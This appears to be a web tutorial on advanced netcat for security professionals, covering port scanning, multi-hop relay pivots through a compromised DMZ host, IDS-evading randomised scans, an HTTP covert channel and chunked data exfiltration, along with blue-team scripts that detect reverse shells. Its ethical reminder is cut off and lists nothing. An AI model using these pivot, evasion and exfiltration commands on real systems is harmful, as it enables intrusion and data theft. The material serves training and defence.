Netcat Mastery - Advanced Security Operations
Master-level netcat operations for experienced security professionals.
Level 1: Padawan (Beginner)
Level 2: Knight (Intermediate)
Time investment: 4-8 hours beyond Padawan
Core Competencies
for port in 21 22 23 25 80 443; do nc -zv target $port; done
mkfifo /tmp/r; nc -l 8080 < /tmp/r | nc target 80 > /tmp/r
nc -lvp 9999 | tar xzf -
printf "HEAD / HTTP/1.1\r\nHost: target\r\n\r\n" | nc target 80
Level 3: Master (Advanced)
Time investment: 8-15 hours beyond Knight
Three-Hop Pivot Chain
dmz$ mkfifo /tmp/r; nc -l 8001 < /tmp/r | nc 192.168.1.10 8002 > /tmp/r
app$ mkfifo /tmp/r; nc -l 8002 < /tmp/r | nc 192.168.2.50 22 > /tmp/r
Encrypted File Transfer
# Sender
tar czf - /data | openssl enc -aes-256-cbc -pass pass:Key | nc target 9999
# Receiver
nc -l 9999 | openssl enc -d -aes-256-cbc -pass pass:Key | tar xzf -
Level 4: Grand Master (Expert)
Time investment: 15-30+ hours, years of operational experience
Automated Multi-Stage Pivot Deployment
deploy_pivot_chain() {
local -a hops=("$@")
for i in "${!hops[@]}"; do
[[ $i -eq $((${#hops[@]}-1)) ]] && break
curr="${hops[$i]}"; next="${hops[$((i+1))]}"
ssh "${curr%:*}" "nohup sh -c 'mkfifo /tmp/r$$; \
nc -l ${curr#*:} < /tmp/r$$ | nc ${next%:*} ${next#*:} > /tmp/r$$' &"
done
}
Advanced Multi-Hop Pivoting
Three-Tier Network Penetration
Scenario: Compromised dmz-web (10.50.100.50), need to reach internal-db (192.168.10.50) through app-server (192.168.10.20).
# Stage 1: Establish relay on dmz-web
dmz-web$ mkfifo /tmp/r1; nc -l 8001 < /tmp/r1 | nc 192.168.10.20 8002 > /tmp/r1
# Stage 2: Establish relay on app-server
app-server$ mkfifo /tmp/r2; nc -l 8002 < /tmp/r2 | nc 192.168.10.50 22 > /tmp/r2
# Stage 3: From attacker machine
attacker$ ssh -p 8001 db_user@dmz-web-ip
Traffic Obfuscation & Evasion
Time-Delayed Scanning (IDS Evasion)
for port in {1..1024}; do
nc -zv -w 1 target $port 2>&1 | grep succeeded
sleep $(shuf -i 5-15 -n 1).$(shuf -i 0-999 -n 1)
done
Randomized Port Order
shuf -i 1-65535 | while read port; do
nc -zv -w 1 target $port 2>&1 | grep succeeded
sleep $(shuf -i 10-30 -n 1)
done
Protocol Abuse & Covert Channels
HTTP Protocol Tunneling
send_http_tunnel() {
local target=$1
local port=$2
local data=$3
local encoded=$(echo "$data" | base64 | tr -d '\n')
local length=${#encoded}
{
echo "POST /api/upload HTTP/1.1"
echo "Host: $target"
echo "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
echo "Content-Type: application/octet-stream"
echo "Content-Length: $length"
echo ""
echo "$encoded"
} | nc "$target" "$port"
}
Advanced Reconnaissance
Service Version Fingerprinting
(echo -e "\n\n"; sleep 1) | nc target 22 | head -1
for method in GET POST OPTIONS HEAD TRACE; do
echo "=== $method ==="
echo -e "$method / HTTP/1.1\r\nHost: target\r\n\r\n" | nc -w 2 target 80 | head -20
done
Advanced Data Exfiltration
Chunked Transfer with Integrity
# Split file into chunks
split -b 10M "$file" /tmp/chunk_
# Send each chunk with hash
for chunk in /tmp/chunk_*; do
hash=$(md5sum "$chunk" | cut -d' ' -f1)
echo "CHUNK:$chunk:$hash" | nc -w 5 "$target" "$port"
cat "$chunk" | nc -w 30 "$target" $((port + 1))
sleep 2
done
Blue Team: Advanced Detection
Anomaly Detection via Baseline
baseline_connections() {
ss -tnp | grep nc | awk '{print $4,$5}' | sort | uniq -c > /tmp/nc_baseline.txt
}
detect_anomalies() {
ss -tnp | grep nc | awk '{print $4,$5}' | sort | uniq -c > /tmp/nc_current.txt
comm -13 /tmp/nc_baseline.txt /tmp/nc_current.txt | \
while read count local remote; do
logger -t "NC_ANOMALY" -p security.warning \
"Anomalous netcat connection: $local <-> $remote (count: $count)"
done
}
Detect Reverse Shell
detect_reverse_shell() {
ss -tnp | grep -E 'nc|netcat' | while read line; do
pid=$(echo "$line" | grep -oP 'pid=\K[0-9]+')
if [ -n "$pid" ]; then
if pgrep -P "$pid" | grep -qE 'bash|sh|dash|zsh'; then
echo "[CRITICAL] REVERSE SHELL DETECTED: PID $pid"
logger -t "SECURITY" -p security.alert \
"Reverse shell detected on PID $pid"
fi
fi
done
}
Operational Security
Integration with Modern Toolchains
Netcat + Tmux Multi-Session
tmux new-session -d -s nc_ops
tmux new-window -t nc_ops:1 -n "scan"
tmux send-keys -t nc_ops:1 "for p in {1..65535}; do nc -zv target \$p 2>&1 | tee -a scan.log; done" C-m
tmux new-window -t nc_ops:2 -n "listener"
tmux send-keys -t nc_ops:2 "nc -lvp 4444 | tee session.log" C-m
Performance Optimization
Time Investment Reality
| Level | Time | What It Takes |
|---|---|---|
Padawan |
2-4 hours |
Read docs, execute commands, understand basics |
Knight |
1-2 weeks |
Script operations, build workflows |
Master |
1-3 months |
Complex labs, multi-system scenarios |
Grand Master |
6-24 months |
Real operations, teaching, research |
Ethical Reminder
|
Everything in this document is for:
NEVER use these techniques for unauthorized access. |
See Also
-
SSL/TLS Operations - Encryption integration
-
Command Chaining - Advanced bash techniques